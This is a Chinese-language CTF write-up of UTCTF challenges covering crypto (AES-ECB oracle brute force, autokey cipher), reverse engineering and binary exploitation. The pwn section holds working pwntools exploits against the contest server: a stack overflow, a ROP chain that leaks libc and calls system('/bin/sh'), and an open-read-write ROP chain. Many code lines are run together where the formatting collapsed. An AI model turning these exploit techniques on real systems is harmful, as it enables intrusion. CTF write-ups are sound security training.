周末时间真的紧,注册了3个比赛,结果只抽时间打了两了。
Crypto
DCΔ
提示是每次只能生成一个素数,那就是n=p**2略
RSA
e=3,c<n略
Autokey Cipher
lpqwma{rws_ywpqaauad_rrqfcfkq_wuey_ifwo_xlkvxawjh_pkbgrzf}
AES autokey模式,先在网站上弄个大概的key:rwiliuvp, 然后根据已知的flag头修下:rwllmuvp再解密。
utflag{why_frequency_analysis_when_know_beginning_letters}
Espathra-Csatu-Banette
看仨字母就是AES_ECB模式爆破。
#!/usr/bin/env python3from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = open("/src/key", "rb").read()
secret = open("/src/flag.txt", "r").read()
cipher = AES.new(key, AES.MODE_ECB)while 1:print('Enter text to be encrypted: ', end='')x = input()chksum = sum(ord(c) for c in x) % (len(x)+1)pt = x[:chksum] + secret + x[chksum:]ct = cipher.encrypt(pad(pt.encode('utf-8'), AES.block_size))print(hex(int.from_bytes(ct, byteorder='big')))
提示了前填充的爆破,本身没有难度,加了个小坑,就是前填充的长度则sum(ord(c) for c in x)%(len(x)+1)来确定。由于长度都不会太大,所以用输入的最后一个字节来调整chksum
from pwn import *
from Crypto.Util.number import *context.log_level= 'error'p = remote('challenge.utctf.live', 7150)#先输入个0确认一下flag的长度
#p.sendlineafter(b'Enter text to be encrypted: ', b'0')
#print(long_to_bytes(int(p.recvline().decode(),16)))
#48#第1段flag = b'utflag{st0p_r0ll1ng_y0ur_0wn_crypt0!!}'
for i in range(len(flag),48):pad = b'0'*(47-i)l = len(pad)+2cs = sum([x for x in pad])k = (l-2-cs)%l + lpad += bytes([k])p.sendlineafter(b'Enter text to be encrypted: ', pad)base0 = long_to_bytes(int(p.recvline().decode(),16))base = base0[32:48]print(pad, base0.hex())for c in range(0x21,0x7f): if len(flag)<16:pad =b'0'*(15-len(flag))+flag+bytes([c])else:pad =flag[-15:]+bytes([c])#(cs+k)%18 == 16cs = sum([x for x in pad])k = (16-cs)%18 + 2*18pad += bytes([k])p.sendlineafter(b'Enter text to be encrypted: ', pad)v = long_to_bytes(int(p.recvline().decode(),16))#print('Try:', pad, v.hex())if v[:16]==base:flag += bytes([c])print(flag)break
Reverse Engineering
Safe Word
这个IDA都不干活了,改了最大值,看到一堆数。一堆啊!然后就是猜了。给的第1个v4=91然后flag第1个字符是u,这样一算发现是一段代码。push x;pop rax;ret 然后是调用函数,这个函数把这个代码复制到mmap区执行。由于代码是ret所以会正常返回检查下一个字符。
发现这个大数组并不是按顺序排的,每一段是128个正好对应ASCII码,于是把代码复制下来找每一段上有pop rax;ret的,然后有几个有重值毕竟是单词,手工确认就行。
a = {
23296:0x733E626C,
... 此处省略4000行...
}
i=0
for v in a:k = a[v]if hex(k)[:6] == '0xc358': #push x;pop rax; ret 找pop rax;ret能使程序正常运行返回的值print(chr(i), end='')i+=1if i>=128:i -= 128print()'''f i u m a
utflag{1_w4nna_pl4y_hypix3l_in_c}
'''
Maps
代码没看,但从output来看,每8字节数字代码一个flag对应的字符,(前3个是固定的,不管它了)直接暴力!
from pwn import *
context.log_level = 'error'o = b'4934849349493674935749360493664940249346493534935849348493574936549351493644937449348493464936449365493744935349360493464935449364493574935749374493494935349358493594935449404'
flag = b''
for i in range(35):for c in range(0x21,0x7f):p = process('./chal')p.sendlineafter(b"Transform! ", flag+bytes([c]))v = p.recvline()p.close()if v[:i*5+5] == o[:i*5+5]:flag += bytes([c])print(flag)#pause()break#utflag{shouldve_used_haskell_thonk}
Binary Exploitation
Tic Tac Toe
就是 ox的游戏,程序固定了你走哪步他走哪步,但最后一段没有处理9的情况(输入9且v18==3时,这里没有对应的v22=1;)在输入时有溢出,在这里输入9溢出覆盖v21!=0,v22=0就能进到后门。
switch ( v20 ){case 1:case 2:if ( v18 == 5 )v16 = 1;elseHIDWORD(v14) = 1;v22 = 1;break;case 3:case 6:if ( v18 == 7 )v16 = 1;elseHIDWORD(v15) = 1;v22 = 1;break;case 5:if ( v18 == 1 )LODWORD(v15) = 1;else*(_DWORD *)&v12[7] = 1;v22 = 1;break;case 7:if ( v18 == 6 )v16 = 1;elseLODWORD(v15) = 1;v22 = 1;break;case 8:if ( v18 == 3 )LODWORD(v14) = 1;elseHIDWORD(v13) = 1;v22 = 1;break;default:if ( v18 == 3 ){HIDWORD(v14) = 1;}else{HIDWORD(v13) = 1;v22 = 1;}break;}
from pwn import *
context(arch='amd64', log_level='debug')#p = process('./tictactoe')
#gdb.attach(p, "b*0x401cb5\nc")
p = remote('challenge.utctf.live', 7114)p.sendline(b'x') #b"Choose x or o: ",
p.sendline(b'5')
p.sendline(b'3')
p.sendline(b'4')
p.sendline(b'9 4 3 5 x ox'+p32(2)*7+p32(0)*4+p32(3)+p32(0)*2+p32(1)+p32(0))p.interactive()
RETirement Plan
一看就是个格式化字符串漏洞题。再一看又不是。
这里可以格式化串处理,字母表会被反转,麻烦点也能用,但由于gets的存在漏洞。所以直接溢出更方便。不过这中间有个v5指针,需要指向一处可读写又不怕写的位置。
int __cdecl main(int argc, const char **argv, const char **envp)
{char format[48]; // [rsp+0h] [rbp-40h] BYREFchar *v5; // [rsp+30h] [rbp-10h]int i; // [rsp+3Ch] [rbp-4h]v5 = format;puts("<Insert prompt here>: ");gets(format, argv);for ( i = 0; v5[i]; ++i ){if ( ((*__ctype_b_loc())[v5[i]] & 0x100) != 0 ){v5[i] = -101 - v5[i];}else if ( ((*__ctype_b_loc())[v5[i]] & 0x200) != 0 ){v5[i] = -37 - v5[i];}}printf(format);return 0;
}
v5给他弄个got表没用的项。ROP先puts(got.puts)再将后续ROP读到BSS,然后再移栈。
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.23.so')
elf = ELF('./shellcode')#p = process('./shellcode')
#gdb.attach(p, "b*0x400729\nc")
p = remote('challenge.utctf.live', 9009)pop_rbp = 0x0000000000400580 # pop rbp ; ret
pop_rdi = 0x0000000000400793 # pop rdi ; ret
pop_rsi = 0x0000000000400791 # pop rsi ; pop r15 ; ret
leave_ret = 0x40072e
bss = 0x601800
p.sendlineafter(b"\n", b'\0'*0x30 + flat(0x601028,0,0, pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, bss, elf.plt['gets'] ,pop_rbp, bss, leave_ret))libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.sym['puts']p.sendline(flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))p.interactive()
#utflag{i_should_be_doing_ccdc_rn}
secbof
后边的题居然相对简单了,所以以后可以考虑先作高分的,说不定又简单又拿血。
int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // edxint v4; // ecxint v5; // r8dint v6; // r9dint v7; // edxint v8; // ecxint v9; // r8dint v10; // r9dchar v12[128]; // [rsp+0h] [rbp-80h] BYREFsetvbuf(stdout, 0LL, 2LL, 0LL);setvbuf(stdin, 0LL, 2LL, 0LL);install_filter();printf((unsigned int)"Input> ", 0, v3, v4, v5, v6, v12[0]);read(0LL, v12, 1000LL);printf((unsigned int)"Flag: ", (unsigned int)v12, v7, v8, v9, v10, v12[0]);return 0;
}
直接一个溢出,只是只能用ORW。就写个ORW就行了。不过也有个小坑,找开的文件id是5,有一小点黑吧。
from pwn import *
context(arch='amd64', log_level='debug')syscall = 0x44ef59
pop_rdi = 0x000000000040204f # pop rdi ; ret
pop_rsi = 0x000000000040a0be # pop rsi ; ret
pop_rdx = 0x000000000048630b # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000450507 # pop rax ; ret
bss = 0x4c6000+0x1000#p = process('./chal')
#gdb.attach(p, "b*0x4019ad\nc")
p = remote('challenge.utctf.live', 5141)pay = b'\0'*0x80 + flat([0x4c8000, pop_rdi,0, pop_rsi, bss, pop_rdx,11,0, pop_rax,0, syscall,pop_rdi,bss, pop_rsi,0, pop_rax,2, syscall,pop_rdi,5, pop_rsi, bss, pop_rdx,0x50,0, pop_rax,0, syscall,pop_rdi,1, pop_rsi,bss, pop_rdx,0x50,0, pop_rax, 1, syscall])p.sendafter(b"Input> ", pay)
p.sendafter(b'Flag: ', b'./flag.txt\0')p.interactive()
#utflag{r0p_with_4_littl3_catch}